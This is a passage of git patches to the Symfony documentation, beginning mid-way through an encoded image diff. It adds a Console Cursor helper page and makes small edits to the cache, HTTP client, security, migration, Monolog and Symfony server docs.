zhj9A;G+qCXe)!7}`#-wk-*$$7sJ2oqE}=m`kkSgBG){dOFlZ#}9=+RyBBgxgZRd?V
zQz8mSmNoqRt~EyGxQF9a9Wz_v1fe9f9-Cj6Zg@jtsoh(l^}cq)*CnIsqTi}5_wgqd
zchc~IJ~B?#A6nB*I!;8>?XK2PwbJ_$Mlog1$!<Jkbs6o2(Q2;`&-6C%a;6cN?Jp`&
zzZIJ$9S09XWjZsQFqf+WM>J~x_4p?YlXA|He@Tt%b*5Ibx(~XDiOXN1TU_@tO7rrs
z(i(kLKH2>`Jy~HK`H5a&$rta7m}CVOdi(k7I5wl><hS>3VsCoCrJMU6-Enbf{tQ>O
zz1GBi{I(5|TSNVQr`Ns@<=Ove`dZcE3#|O%`u0Bkam8*^@JT>Y&cX-0@Y1Wp9;h}+
zs|+6GIaiME48iIys_pEt4>!zH{y0-?aQ3DoHNWrwRBbhCXXL1RPq=33?Hx66BCO$F
z*_+da6J3J7Ddu<J%w`=^jznrIIUG4+=|n%jU^H?zR#=sfbL+*SmBg?!NBNvD6YMPC
zlYj3Fmb?3xa&W8flE*LXJ)x9%ddUKFp0;j561{7B;>0d<mqdLjdqF#%7<~A0s(Y@=
zF;&7Ju`vqyNob>WbcO>@*yZGmYsl$Tsr-nzsL{8+*|&?B{J(dGZpR2z=$5~uQO1b^
zyQ~dPUTM(!%!h69;7|S{+=%#+Dj{5HY#RxqcgoRT?(u9&iS-3vDZ{hYr!fw?x7ABa
zh3%>bbw9>?X4lOW2!3WRTvNDIwkYt*`?iEYjl9K{kfYkE)prTX2cQd)af~G6uHEK8
zPN%(S>5vP$lp(P!rEN8eUr4CAzH|FU{apd-&JFJ!bRR{%bUOa6OQ|PCEBaF{cV`f;
zJaf!Qb%$E1{&%5Q>K1=qmTi#`Ms22+ZNE^cT5=$KE+r>+dk@rp&0!4H;pq86*GA*1
zM&Fwkgtp(FmM4E8&L-O}k6bB?ULN(R>subX)*-y|)@R6WW&C!s=JG_)%GS6+oXYEa
zM@}8TBV(H7KYGf~95*z?!xqajxO9u1s+`%hQ4#Ri;ly!oyXlkRA^{~M-bcOkiwdu;
zUz!R~)<6EfeP_r*O{<ql@1RA(pdM=J<|EwNa;sn;aDShP=>}r<=nK#^;TU?cd-!Hq
z{^=h4pba`}u>H-=81Xr%y!qIWaP%F=;T?BA=?z(}^%+boPVd;-{5E92^>exL(ZO}-
z&ua&|++-*R?@E@^lFCS+bH~2roY+6R1m&E!QFbB}q4#I^oGS-X=U9BHz9`Q#QaPEr
z1t?*$G_I$`B4Q1bcYsoZSKWxr5puKo+tc!HeqB=dhqtEd^Jl!~TNO7%szdVSl)sNm
z$4HvEibK**U>D}89c?4|LYEJv4mlXQ@9VfFd|z2eUaCW-U57m9Ip`j?m9|@0pII4A
zymd+X_=_mx(XTOnUhSWjJ1h3B55_d~jPJ;S3!CbgV-6~$>-M*pgovZiA1`$dF;%Ro
zv{Jd}J`>8fPKnrz&YV4kQ0%m{wy~#P4s|_p8ExBXaYD@Ec7@zSjm!>|*%b@v@HR!6
z)Jof`9S%CaAM>zl6x;LCH!%&NVY-PC`r~n5lD*~+b;_Z;kZcFc6Iz^Z8A{llMx#z@
zoDw~64OI)bCBE8s?lA5FN?YgQ?Z<l)J|l7)11wot!3tJ8lB%|Zu4v?`Y;C$B5Y)KK
zQcHBc9R+5R0g0E8ZS(+zk8gbZtz7Xnl7qA>2wh{^t+YL^FC4QCGL@tKCvHmj%H|lK
zckYX+dK8R6yB(QETO|~HM8C1%KbjeSJY-21I4C@aBO4E7y<aL~8>*SccfWE|(39Ud
z6L##5%?bL+6U8Vz@6pF4LKOi&&}VtnPnFx8B;S5m>TXwhdWibwQvHu|Vsxo_Qrv6i
ziysxYlS<D`dJHwc=PG35rRVtshgsc83~uG{nUQX%%T}-H1Eez7U5!ySmM2Tjo}JsH
zJ=b*3N}ihaqfB#u`f)Ey5_;QnC7mNoy@86wG-`&W?e=1mh%K#`sY_*r6B*VAc4hTF
zXt;ER=$Y0SC|##&V^?t^spkycGOvMsw&GTTj5FinGV@K}=VNs}Cl~>Bl~F${{6f;+
zq>@&e+)wZaye^seQDC6>`OY4j_vs^fY=b7(`^c*(|I_gTZT>}%r`&DV&ny2*-W|Sh
z#mGF;cHrbK&*zHi-+?ZZSNb2M1wPO0^$U-3vjAIl^4;vc{iDs_#G#Aqw6%H)Ece&0
z#$sc%ciKl@lpd>Z5AUsvxgPaiI<JjR74{)Sntqhys<zLOWjfT#k4l2(X!{tQ#6peB
zZNKzN9r|^W3cW5r^;qjU(_EEO*>o9uu%Rbd?`CR8?-e~y^j6>PKfXWs)cvvS_KEIo
z92g%$2Yz7NZh$pxu7gE|$Z^j*vY<{#?Si1S&_iS(WR)w=0z(`Dsn8f)mOKW|54F9_
zcu=DtmKmntNX8IXO)a%FA#;0aaTNBkCicCMlb{8#4fco4vMl@@_fzrdXFW!^=EB9j
zOT(Q<mn(0S&t6$cMF@r5+kO|~55eb&RPMCWk@oREC+IpB^hUR$V?QKvi-hT?ki@9O
zIi!O5s2OCnyW+_`B$2%P7;WWoIKe%v$QZa!f$h3>Xa3Ah9KdH^pCwr_ea0l{t!S)a
zgOS`<s`=)7u~WCrwI=4nE^U6`b*t|@EP|rVr|p*C8oJq~855TnxbadWoYHgZ*VhMy
z8B^$KWUE`%cb{EBz@0EFc0%0eFs>j!hUwI!Y6*EBrc1}g!1UyZ!bD%$8K;f_L@05p
zcvmLo6@4C8bS(PO@w}OXNlYB?1@Fs8GIzhC^U4}eESCM(s_j9)DA@RLnuxIladFw{
zCWgNWSA!#Cpo1#LfH?&=c6QKnhhx@2^HF~RoV^hFBL+FN7*uOMa69B9eRobQX;+y@
z;E3`CWKAqdJrP3_N!fU-W#9ZQd0=zOWNVEb+q_h0|8ve|Ykhd2dAV*fC^2K>t>zYP
z%bc|<#7o=^_&9x*uhag30J2T+-GtE^|9kJNy)DDhQ7oAQNPkN2onI*8wW|ce%8HM)
z?_Zu4C-FUQBq#@gRE89=h$aaTg}?rs&wB?BNRoi>WCXCni6-ou!Z|)bCCD|5?8L#P
ziVy))@SW@s6dhE>UvHcCHerBm9l#TPL>BMez;-x<BnhU7%ln1Ol0t1}NHUe7M^i$N
zq@e6qL-%Um$5TR2_;Ecgq0a92or=WH72Q8uf8W(G?1JIlc1e=FJE?OBz7rzhrAYI2
z#G5H$+ZcB{>)hstZpga_`8fso)rZdyxv42r0^hiWI8lUF!XszGeYRHbsQCtkIE5xU
zMLby5nUo}@6-A_~grH#Fpedlh3Cms$7ei7xd{nS9L}oRDv`Q&O0;$Nm(@K$fD%ASb
zJ9#P;xL;(3Q&2@p2&<D?+6h&!Ms}n`b=F694@dQ`M)gZYvkjwPI7Pqmi++<5JzO6>
zIvo9WHF`oShQlo`u8*)#p&~*e6-a;vgRH{2tIdfKhhjg?gs8x&SSdIbL&Z{Jpqv<~
z9BQ&54dG1V9f71ep<FBY!VLV=Doq3(CsZu9g8|n2QN?laUq~>C7i^h{<wM8I8O102
z1*0H@1_?lf02(9lT5Ivxk@#Ol@kyM0+Xq81TQETQEAJcH^&eL8zdbEocn#J)Arz>F
zrq0zT9%(=sq2aq=*Dja=XlDRLNF3vpu$qM%8zuhsw2Y{QvY_W?fF=gg=n~ghORP7A
zPI2OlQWGxC%3mG<a-|adQj@Qu9|Vmg-;F>$REAFA0Yz54Z?PCUH6>yM`ih0(@jPrx
zxF!z1n}iDNO5}Q4Y}b-AMpAdD#+52TZIbXWoj~pkP?Va+^|WYl;?>u}q-Z?#A^gjX
zcyU4^*uwvf5g(>X)9OlNrKasgWwaP&v~{Jm`)8D-W^_lS^^Rl=6lV<jXS}q|c<r2_
zHki?qnmIa~!L_v@Dl@ii&1QmwDUBnbwGldc<Tr?rK*3iqkS+w*#b#&uXRmgp%3}ev
z>Aw9CTn9qeTSHr^s5va857B?5W($qd&oyMrR3dF~Nkz_}9zk5fBS&2|d&h<B_k{TD
zl*AtmTmS%}19H@E{Pwh{q={*)=W0^Lu-&<Pwe!?}+gftDwifBMT&}G}YdueU6lG@o
zQ1;kElkPn0v^;AYNI~EsiU=q}pgxqPg@JS+dO}=2qLTjEKTv28(1hiSa6K&^5fD|3
z3pzeF<e#SIUl%}K3@EsDy6{j+fsAR2t6cucQAp4xTbGr8+qfu{iT9(5kv(LU2*Am$
z(E@#ZK8aa$-?%tYU~hPu*i9y84+AilMwl+f+&EpFYg|(1Q!Kl?AXs2$x&X?Wm=9DI
zJd`f264+U=PLk}7=gR$bx!V(X9xx=0VO;vmxGd&asc;LAJf^^{OKpjfg(Bvp+LXO8
zF1NZ+CUhaYB7QIUwHO7JzgjQnFi~&1Ar%-k&|fKoCa>)Oz+1ZF^LoVx8wkTH8fTWd
zIi#<!Zi^Ehei?l<DgDUD<B{8YK^q$4R{-OuO|Iqc;_?@uKC7aF$`CWD)ZB|u!&OS9
zS4uZl%8pg;+^EFJRLPlCDY#TA1y-q~SE)5tX^d5AZB$`ps&!1NbzQ3Uw*spT)2oeT
z&_a#X2R5p4GBtJPxt<<5<g|Qc2!7QVfU~mAHfn;b;fGv6=hNBF%mQ&*%>Xk1KlYg5
zoNcKN{<!*BhnV9!_t;%MF?cRhq=!pY!GW||AN53iEa=HBh@C4uX;c>!NISs+bZKcS
zG>{-I)~rUmlU|?XgbtYpZqFj$FN!SV(@`v*_|zh5dV>H3(Bx!DNWuRQgFmIm>al@_
zl7^y4k~yoP=qmh-Eo7tuYLXg?T^a?R-&Vvh0F>x=Tmz8PSS!;M=*p9ED!XV6{$9DM
zJKc-htEZ0x^x5^dRiT?Sk+}z1J?T&OwE8=E<`g*tm@Q(CtP#QlpF0}ZtobtQ)9e#1
zB3u$yriN>rF?pIlS98HOrAQT!!#&*;)bg}RQC=@pD0%wRh2{3G$bX~EQN6K8pqO`)
zb;S%+3CRD%-y(5FiD#bWXmanQZ_7?ubpLu`@p_BGf|SvRMky3ivFX`G(;#!TbPd_o
zi>8PrwO0Mj9ULrEB&c;?nb@p<uvbUH{(Wr~9Vm6oQ;Uo?o2IrSZ(D=9A=O2u-M;6J
zXPzfc<(_MW0$s#2=gUtnJPy`}tU1MY;i%&m7_sl3pWm#BA&A5a?m}^pZ)D&LP&Smq
z|Blg!7zBp9q0iP(yb07DP~o{*Z6wcckCC8nv9jflK*x?iYa~Gc4s@5a-#=4r$3npm
zL!)V3K%9I=xJ(knlp_Fc>QHA7ln4t@!~t51KtMp3!A1v)^b9~T6KzGm@^{P<M3(T%
zjr>f6HZsGd1&V8GmSx_fAxhl4sx+!$oH8)3gG)1;)2@%HLGOsyfe`RnZ@NGvN&=_Q
zz$rDw6nu(k8xX1nSdbCB1EJj!iD?mzYw})e%#^9TyKon{f#P)mORVdKbNc5OD#scM
z-~_k{DIsv9Hb)YG6XStnfP4UGOhfR>0Kg8o5*>)_X0%Y#4tpg@XhQ3yPa^}mg-lsI
z-c=hm*(W@bi;QYjwrKeh9w3&Gyb$?Pg$C$wfW0_SW28c;5;!^r`IZ7|<1Z9kxHqCy
znhGeKZqZ>pCo{8e`&Sm)W@CwfIOFN0AaLCUP@)w(biep)GN`ziEgA4wQU-3(_iERC
zrp8(ke!Wv@cfJF&plGd4DkM#{4+u>yw!ZU5j`TP~nvPy?E4s?~4(mW+MK{%kkd4jg
z5^!8#C}s@s(}X^ud$LZ02DE!X3$GUub^seEd;?}mLtNhv8F+&`IzfI}IEaCwJ^{R*
zqH1N&5~C|0*yR?f7L2X6wQFRHodF;3fCpbmUYF@9KY4Yt7u=yzAYoj4Xh;6(v0))?
z(b28-F{#KjrZJ2M0~xS@#f=g*Ou@Ui5HA}tr3IeSfD&*}(%MArI8-;@FQg5Om5+_@
z7tIlv;OmL!A&#9jZrtzkXs0F&hJgxcC<`{IODjF0_I$@~!8{DK+6M`#7x0!oo3P_Z
zsW%G1co8>XCfG-jX|FDJ7rL{cKkp!ESO~!U#(*d~9ONDotQ5GzekX&1#j+su;-C_H
zc%Ieuo!zPMtD@8xdVq!W%7&EjIa4N(BVi(C2mBa*0)-Vwfbsv>59u|7#2%;y2T=)p
zC<b7_h8m*Vjm$;me|;32&k`WPW}RU5Yfl@-8irjyG~&7Uk!G_6!74EVGVeZsIlQG9
zh|Bd5sBTajwub{aGdc3VL}a3-e^Jw}3iD>+VOK_=wogFeQRv56n5YSaq{T_%QY6_)
z(6K3ys{p@4$n1m@PEUah)`_z~gMsKD-$cGFzNCMClv)BB5Z@gTMtK^8I(RsWi`O6_
z(DaSav8%l42x8<rW5Pfy1h-<t4oBoxV;~FMAj~Eu=aljv7e%{7ntFCt=$H3Ls^zn7
z!4p)(c^F-f9$$R`tahoDOar(!TRj}0P6D(Uj}Bn_m63opG4K)wk~9Voc!0UyOfHR|
zU+k$nBH9r6MNFm)U0GBu=zU#%(15;Ry2j25(}b)<CMAc#SAC!fCoW?;OUDm1U=(Of
z0y%sm_R&vNo>pG61s&#kPp&Tk>P78M$weO74o?dlY_jwipnuax6qlaS8rPeaUI@(G
z^ZxQ9tyE=vPz{$W*j$u;?hR1-)WIe<6kQgXR_b7r5}5`^WAdH5SCp}!J{#nruHvsR
zS5aSgm%P|;&UVP2%lg@|{WRz>nl<6Sw)(apSi0w~aFN5KuX=>0%LA*eHn~Y<{p<5@
zk`^-CqtdRGuT`jR2pw4icNbOedrV{k;<Wr{p8&y_^|tey4^rlC^r5`x%3Dg>)y|7+
z-mL?)-*$U!PW}fEE0>wUCg6(yg&3|4)Kf*C9O6s~%N~y1sm+bqs(Q%fWWT%6ev9G!
zCO!{~ZcH6X`AZD1E*#)`SfxKI)%>l7G80t(62miX9?#*fjh1<gpVsD{@FTSTZ!ui(
zboDav^k^ONL)ss<@#SxSN4B25x<c2D3g&sS!^rQ;3s%^+=|g88Gv0H>@cAf-#7gt-
z_~_I9y$#jV19Wrsq*`Y=UH9DM@@-{Iy)O5@T%DUgb@e}uX{7dLmHVJSPqISPBNx5=
zZoF^jdRXsnrhY-Tp519OMRdLu#udKLr##8|BYYfvck8;;-JGgVg2_h8p97z4EF)eY
z_R}KXA@+9%O^5df*9TLc^AtsqI$rxuIu5}6Fo!Djq(Zy}k3Kx2jphFi-4}75fx?8Z
z4nyHW{+$p-FrprcK)qK8!Kqua-$!b+&*Vm73*0|M``KYaV)oTiE?LMP5r1gDU!vhd
z+%_WC)!b6QAunFkXhb2=LhkD2I7c1-KOb0Y`Nt<84Ex`l%)OwPd&19>0rFjM=bz5-
zarjYSzT*~$ohkfhgK`T0+6a^_#NQ3&2%<-)a-;O;X7Xs3YX3PW!{-owb22I!Us4;O
zW>LX(5%4T4>9<iYsh#lfs9+xWNUo^Y|M=_?>$93h<#S_QugZ3v8jb31Il;0=y%jcd
ze{(Xe8M4h}fw-2<hb+fybywfe<C&_Jk@1bnEuQgBii6xv5WauLVjhI^!h&JDxbIsu
zto)Fa)$fSle}>uqu1fwLyZC>@m%rb)e{tD=!IxW|7s!Zg?upVLs+C;AVH(MMHo#H!
zMWM-WF8i1ZU!1Bv#=E)j<sa|c%Mwi|&~+^K`u=ur!{kfj(Y|_9PyQJU`QIiACjSdj
CRX|7p

literal 0
HcmV?d00001

diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
new file mode 100644
index 00000000000..63497faed0d
--- /dev/null
+++ b/components/console/helpers/cursor.rst
@@ -0,0 +1,101 @@
+.. index::
+    single: Console Helpers; Cursor Helper
+
+Cursor Helper
+=============
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Console\\Cursor`
+    class was introduced in Symfony 5.1.
+
+The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
+cursor position in a console command. This allows you to write on any position
+of the output:
+
+.. image:: /_images/components/console/cursor.gif
+   :align: center
+
+
+.. code-block:: php
+
+    // src/Commande/MyCommand.php
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Cursor;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+
+    class MyCommand extends Command
+    {
+        // ...
+
+        public function execute(InputInterface $input, OutputInterface $output)
+        {
+            // ...
+
+            $cursor = new Cursor($output);
+
+            // moves the cursor to a specific column and row position
+            $cursor->moveToPosition(7, 11);
+
+            // and write text on this position using the output
+            $output->write('My text');
+
+            // ...
+        }
+    }
+
+Using the cursor
+----------------
+
+Moving the cursor
+.................
+
+There are fews methods to control moving the command cursor::
+
+    // moves the cursor 1 line up from its current position
+    $cursor->moveUp();
+
+    // moves the cursor 3 lines up from its current position
+    $cursor->moveUp(3);
+
+    // same for down
+    $cursor->moveDown();
+
+    // moves the cursor 1 column right from its current position
+    $cursor->moveRight();
+
+    // moves the cursor 3 columns right from its current position
+    $cursor->moveRight(3);
+
+    // same for left
+    $cursor->moveLeft();
+
+    // move the cursor to a specific position from its current position
+    $cursor->moveToPosition(7, 11);
+
+You can get the current command's cursor position by using::
+
+    $position = $cursor->getCurrentPosition();
+    // $position[0] // columns (aka x coordinate)
+    // $position[1] // rows (aka y coordinate)
+
+Clearing output
+...............
+
+The cursor can also clear some output on the screen::
+
+    // clears all the output from the current line
+    $cursor->clearLine();
+
+    // clears all the output from the current line after the current position
+    $cursor->clearLineAfter();
+
+    // clears all the output from the cursors' current position to the end of the screen
+    $cursor->clearOutput();
+
+    // clears the entire screen
+    $cursor->clearScreen();
+
+You also can leverage the :method:`Symfony\\Component\\Console\\Cursor::show`
+and :method:`Symfony\\Component\\Console\\Cursor::hide` methods on the cursor.
diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 5f328d47472..09546769655 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -13,6 +13,7 @@ The Console Helpers
     questionhelper
     table
     debug_formatter
+    cursor
 
 The Console component comes with some useful helpers. These helpers contain
 functions to ease some common tasks.
diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 68e1e722a87..8f9ce0ca0f3 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -4,3 +4,4 @@
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
 * :doc:`/components/console/helpers/debug_formatter`
+* :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index ebdcaba1d64..4f1dd8fe3a5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -349,7 +349,7 @@ placeholder before displaying the progress bar::
     // 0/100 -- Start
 
     $progressBar->setMessage('Task is in progress...');
-    $progressBar->advance();    
+    $progressBar->advance();
     // 1/100 -- Task is in progress...
 
 Messages can be combined with custom placeholders too. In this example, the
diff --git a/console.rst b/console.rst
index aa23bddbffd..b4add295fd4 100644
--- a/console.rst
+++ b/console.rst
@@ -446,5 +446,6 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From 7565926922b3e680c1b33664a6bd928c7d666206 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 17 Jun 2021 13:05:16 +0200
Subject: [PATCH 2297/7107] [#15270] Minor fixes

---
 .doctor-rst.yaml                      |  1 +
 components/console/helpers/cursor.rst | 17 ++++++++++-------
 2 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 9f54edf0023..c283db8ecc5 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -103,3 +103,4 @@ whitelist:
         - '.. code-block:: twig'
         - '.. versionadded:: 3.6' # MonologBundle
         - 'End to End Tests (E2E)'
+        - '.. code-block:: php'
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index 63497faed0d..da450925fc3 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -6,8 +6,8 @@ Cursor Helper
 
 .. versionadded:: 5.1
 
-    The :class:`Symfony\\Component\\Console\\Cursor`
-    class was introduced in Symfony 5.1.
+    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
+    in Symfony 5.1.
 
 The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
 cursor position in a console command. This allows you to write on any position
@@ -16,10 +16,11 @@ of the output:
 .. image:: /_images/components/console/cursor.gif
    :align: center
 
-
 .. code-block:: php
 
-    // src/Commande/MyCommand.php
+    // src/Command/MyCommand.php
+    namespace App\Command;
+
     use Symfony\Component\Console\Command\Command;
     use Symfony\Component\Console\Cursor;
     use Symfony\Component\Console\Input\InputInterface;
@@ -29,13 +30,14 @@ of the output:
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
             $cursor = new Cursor($output);
 
-            // moves the cursor to a specific column and row position
+            // moves the cursor to a specific column (1st argument) and
+            // row (2nd argument) position
             $cursor->moveToPosition(7, 11);
 
             // and write text on this position using the output
@@ -71,7 +73,8 @@ There are fews methods to control moving the command cursor::
     // same for left
     $cursor->moveLeft();
 
-    // move the cursor to a specific position from its current position
+    // move the cursor to a specific (column, row) position from the
+    // top-left position of the terminal
     $cursor->moveToPosition(7, 11);
 
 You can get the current command's cursor position by using::

From d3cb9b5633f9a0231f14a06d5ab3b0643cb86587 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Thu, 17 Jun 2021 13:39:54 +0200
Subject: [PATCH 2298/7107] Adds a heading for stampede prevention so I'm able
 to reference this section easily

---
 components/cache.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..0e5d865c2d9 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,6 +90,9 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
+Stampede prevention
+~~~~~~~~~~~~~~~~~~~
+
 The Cache Contracts also comes with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed

From 07b09f4a4e9821af62383b368892bc995f896d25 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 17 Jun 2021 15:09:06 +0200
Subject: [PATCH 2299/7107] Minor tweaks

---
 components/cache.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 0e5d865c2d9..9a1b6611f8d 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -90,10 +90,10 @@ generate and return the value::
     Use cache tags to delete more than one key at the time. Read more at
     :doc:`/components/cache/cache_invalidation`.
 
-Stampede prevention
+Stampede Prevention
 ~~~~~~~~~~~~~~~~~~~
 
-The Cache Contracts also comes with built in `Stampede prevention`_. This will
+The Cache Contracts also come with built in `Stampede prevention`_. This will
 remove CPU spikes at the moments when the cache is cold. If an example application
 spends 5 seconds to compute data that is cached for 1 hour and this data is accessed
 10 times every second, this means that you mostly have cache hits and everything

From 3126da029c32088689008c720e56f9730a0da044 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Thu, 17 Jun 2021 20:09:21 +0200
Subject: [PATCH 2300/7107] [HttpClient] Import ServerSentEvent class

This PR adds the missing class import in the "Consuming Server-Sent Events" section.
---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 967ab15699c..e34ae1e332b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1264,7 +1264,8 @@ Symfony's HTTP client provides an EventSource implementation to consume these
 server-sent events. Use the :class:`Symfony\\Component\\HttpClient\\EventSourceHttpClient`
 to wrap your HTTP client, open a connection to a server that responds with a
 ``text/event-stream`` content type and consume the stream as follows::
-
+    
+    use Symfony\Component\HttpClient\Chunk\ServerSentEvent;
     use Symfony\Component\HttpClient\EventSourceHttpClient;
 
     // the second optional argument is the reconnection time in seconds (default = 10)

From 7aae9732f46388dfaa6a348fcf6308ab3f1e16cb Mon Sep 17 00:00:00 2001
From: Gordon Franke <info@nevalon.de>
Date: Thu, 17 Jun 2021 20:46:59 +0200
Subject: [PATCH 2301/7107] doc: update tip about authenticator-based Security

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index a12c4ad86e0..edebe4f8ec4 100644
--- a/security.rst
+++ b/security.rst
@@ -41,7 +41,7 @@ install the security feature before using it:
 .. tip::
 
     A :doc:`new authenticator-based Security </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will eventually replace security in
+    was introduced in Symfony 5.1, which will replace security in
     Symfony 6.0. This system is almost fully backwards compatible with the
     current Symfony security, add this line to your security configuration to start
     using it:

From 4df81cf65fb9c2fd172785a02701d83e7df912c8 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Thu, 17 Jun 2021 23:28:35 +0200
Subject: [PATCH 2302/7107] [Migration guide] Change Strangler App to Strangler
 Fig App
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Martin Fowler, the author of the article, update its post to rename the pattern because it has a violent feeling to it.

I'm making this PR to stick to the intention of the author and make this doc a bit more welcoming

You can find at the bottom of the linked article
> The original post was entitled “Strangler Application”, and when used, the pattern is often referred to as a “strangler”. But its usage often gets separated from its metaphorical root, and takes on a unpleasantly violent connotation.
---
 migration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/migration.rst b/migration.rst
index 5f4089656dd..ce5bbbcd209 100644
--- a/migration.rst
+++ b/migration.rst
@@ -7,7 +7,7 @@ Migrating an Existing Application to Symfony
 When you have an existing application that was not built with Symfony,
 you might want to move over parts of that application without rewriting
 the existing logic completely. For those cases there is a pattern called
-`Strangler Application`_. The basic idea of this pattern is to create a
+`Strangler Fig Application`_. The basic idea of this pattern is to create a
 new application that gradually takes over functionality from an existing
 application. This migration approach can be implemented with Symfony in
 various ways and has some benefits over a rewrite such as being able
@@ -461,7 +461,7 @@ chance to use Symfony's event lifecycle. For instance, this allows you to
 transition the authentication and authorization of the legacy application over
 to the Symfony application using the Security component and its firewalls.
 
-.. _`Strangler Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
+.. _`Strangler Fig Application`: https://martinfowler.com/bliki/StranglerFigApplication.html
 .. _`autoload`: https://getcomposer.org/doc/04-schema.md#autoload
 .. _`Modernizing with Symfony`: https://youtu.be/YzyiZNY9htQ
 .. _`Symfony Panther`: https://github.com/symfony/panther

From 74b6cf680ee4fa972abbef93094fafd9d1d64787 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Fri, 18 Jun 2021 08:02:22 +0200
Subject: [PATCH 2303/7107] Fix incorrect PHP example to exclude HTTP code with
 Monolog

---
 logging/monolog_exclude_http_codes.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/logging/monolog_exclude_http_codes.rst b/logging/monolog_exclude_http_codes.rst
index 4382b818437..a064370d0c5 100644
--- a/logging/monolog_exclude_http_codes.rst
+++ b/logging/monolog_exclude_http_codes.rst
@@ -52,12 +52,14 @@ logging these HTTP codes based on the MonologBundle configuration:
         use Symfony\Config\MonologConfig;
 
         return static function (MonologConfig $monolog) {
-            $monolog->handler('main')
+            $mainHandler = $monolog->handler('main')
                 // ...
                 ->type('fingers_crossed')
                 ->handler(...)
-                ->excludedHttpCode([403, 404])
             ;
+
+            $mainHandler->excludedHttpCode()->code(403);
+            $mainHandler->excludedHttpCode()->code(404);
         };
 
 .. caution::

From e5767e1037506ae8c436d78445563e688fad0c52 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Sat, 19 Jun 2021 08:13:45 +0200
Subject: [PATCH 2304/7107] fix(symfony-cli): remove APP_ENV=test behaviour
 with the database

Our CI started to fail since the last Symfony CLI releases, because there is no APP_ENV=test behaviour with the database anymore with https://github.com/symfony/cli/releases/tag/v4.25.3 and/or https://github.com/symfony/cli/releases/tag/v4.25.2.

Looks like the solution is to do the same than symfony/recipes#939.
---
 setup/symfony_server.rst | 16 ----------------
 1 file changed, 16 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 7420a822ab6..f0723c20ea1 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -322,22 +322,6 @@ prefixed with ``DB_``, but as the ``com.symfony.server.service-prefix`` is set
 to ``DATABASE``, the web server creates environment variables starting with
 ``DATABASE_`` instead as expected by the default Symfony configuration.
 
-You don't need to create two containers for the main database and the test
-database. Using ``APP_ENV=test symfony`` will automatically adjust
-``DATABASE_*`` environment variables for the ``test`` environment:
-
-.. code-block:: terminal
-
-    $ symfony var:export --multiline 
-    export DATABASE_DATABASE=app
-    export DATABASE_NAME=app
-    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app?sslmode=disable&charset=utf8
-
-    $ APP_ENV=test symfony var:export --multiline 
-    export DATABASE_DATABASE=app_test
-    export DATABASE_NAME=app_test
-    export DATABASE_URL=postgres://app:app@127.0.0.1:49160/app_test?sslmode=disable&charset=utf8
-
 Here is the list of supported services with their ports and default Symfony
 prefixes:
 

